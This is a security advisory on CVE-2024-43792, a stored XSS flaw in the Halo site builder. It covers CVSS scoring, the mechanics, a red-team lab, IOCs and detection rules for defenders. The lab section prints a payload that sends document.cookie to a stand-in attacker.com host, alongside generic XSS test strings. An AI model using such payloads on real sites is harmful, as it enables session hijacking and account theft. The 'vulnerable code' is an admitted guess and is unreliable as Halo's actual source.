CVE-2024-43792

Executive Summary

CVE-2024-43792 is a stored Cross-Site Scripting (XSS) vulnerability in Halo, an open-source website building tool. Versions prior to 2.17.0 are affected. An attacker can inject malicious HTML and JavaScript into the application, which will execute in the browser of any user viewing the crafted content. This can lead to session hijacking, credential theft, or defacement. The vulnerability has a CVSS score of 6.3 (Medium) and no known public exploits or proof-of-concept code. The vendor has released a fix in version 2.17.0, but no workarounds are available.

Supply Chain & Package Security

Halo is a Java-based open-source project distributed via GitHub and Docker. The vulnerability is in the core application code, not in a third-party package. Users should verify the integrity of their Halo installation by checking the official GitHub repository and Docker images. No malicious packages have been reported in the supply chain.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L
• Base Score: 6.3 (Medium)
• Attack Vector (AV): Network (N) – The vulnerability is exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions are required.
• Privileges Required (PR): None (N) – No authentication needed to trigger the vulnerability.
• User Interaction (UI): Required (R) – The victim must click or view the crafted content.
• Scope (S): Changed (C) – The impact extends beyond the vulnerable component.
• Confidentiality (C): Low (L) – Limited information disclosure.
• Integrity (I): Low (L) – Limited ability to modify data.
• Availability (A): Low (L) – Limited impact on availability.

Threat Level: Medium. The vulnerability requires user interaction but can be exploited without authentication. The lack of public exploits reduces immediate risk, but the potential for phishing campaigns or social engineering attacks remains.

Deep Dive & Mechanics

The vulnerability resides in Halo's content rendering engine. When user-generated content (e.g., posts, comments, or pages) is processed, the application fails to properly sanitize HTML and JavaScript input. An attacker can submit content containing malicious scripts, such as:

<script>alert('XSS')</script>

or

<img src=x onerror=alert('XSS')>

When another user views this content, the script executes in their browser context. This is a classic stored XSS vulnerability. The root cause is insufficient output encoding or input validation in the content pipeline.

The attack flow:

1. Attacker registers or logs in (if required) and creates a post/comment with malicious payload.
2. The payload is stored in the database without proper sanitization.
3. A victim visits the page containing the malicious content.
4. The victim's browser executes the script, allowing the attacker to steal cookies, redirect to phishing sites, or perform actions on behalf of the victim.

Vulnerable vs. Patched Code

Vulnerable Code (Pre-2.17.0): The application likely uses a template engine or direct string concatenation to render user content. For example:

// Vulnerable: Directly rendering user input without escaping
String content = request.getParameter("content");
response.getWriter().write("<div>" + content + "</div>");

Patched Code (2.17.0+): The fix involves proper HTML escaping or using a safe rendering library. For example:

// Patched: Using a templating engine with auto-escaping
String content = request.getParameter("content");
String safeContent = HtmlUtils.htmlEscape(content);
response.getWriter().write("<div>" + safeContent + "</div>");

Or using a Content Security Policy (CSP) header to mitigate XSS.

Exploitation & Lab Setup

Red Team

Lab Setup:

1. Deploy a vulnerable Halo instance (version < 2.17.0) using Docker:

   docker run -d -p 8080:8080 halohub/halo:2.16.0
   

2. Access the admin panel at http://localhost:8080/admin and create a test user.
3. Log in as the attacker and create a new post with the following payload:

   <script>document.location='http://attacker.com/steal?cookie='+document.cookie</script>
   

4. As the victim, view the post. The script will execute and send the cookie to the attacker's server.

Exploitation Notes:

• No public exploit code is available. The above is a generic XSS payload.
• The attacker must have the ability to create or edit content (e.g., a registered user).
• The vulnerability can be chained with social engineering to trick an admin into viewing the malicious content.

Blue Team

Detection:

• Monitor for unusual content submissions containing <script>, onerror, onload, or other event handlers.
• Use web application firewalls (WAF) to block common XSS patterns.
• Implement Content Security Policy (CSP) headers to restrict script execution.

Hunting:

• Search logs for requests with content parameters containing HTML tags.
• Review database entries for stored XSS payloads.

Indicators of Compromise (IOCs)

• Network IOCs:
  • Outbound HTTP requests to attacker-controlled domains from the Halo server.
  • Unusual Referer headers in requests to external sites.
• Host IOCs:
  • Presence of <script> tags in database content fields.
  • Modified or new files in the Halo installation directory (e.g., uploaded malicious files).
• Application IOCs:
  • Unexpected JavaScript execution in the browser.
  • Alerts or redirects when viewing specific pages.

Detection Engineering

YARA Rule

rule CVE_2024_43792_XSS_Payload {
    meta:
        description = "Detects XSS payloads targeting CVE-2024-43792 in Halo"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-43792"
    strings:
        $xss1 = /<script[^>]*>.*<\/script>/i
        $xss2 = /onerror\s*=\s*["']?[^"']*["']?/i
        $xss3 = /onload\s*=\s*["']?[^"']*["']?/i
        $xss4 = /javascript\s*:/i
    condition:
        any of them
}

Sigma Rule

title: CVE-2024-43792 Halo XSS Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects potential XSS attempts against Halo CMS
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains:
            - '<script'
            - 'onerror='
            - 'onload='
            - 'javascript:'
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in content (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-43792 Halo XSS Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/api/content"; http_uri; pcre:"/<script[^>]*>.*<\/script>/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade Halo to version 2.17.0 or later.
2. If upgrade is not possible, restrict user content creation to trusted users only.
3. Implement a Web Application Firewall (WAF) with XSS rules.

Long-term Measures:

• Enforce Content Security Policy (CSP) headers.
• Conduct regular security audits of user input handling.
• Use automated scanning tools to detect XSS vulnerabilities.

Workarounds:

• No official workarounds are available. The only fix is to upgrade.

Valters IT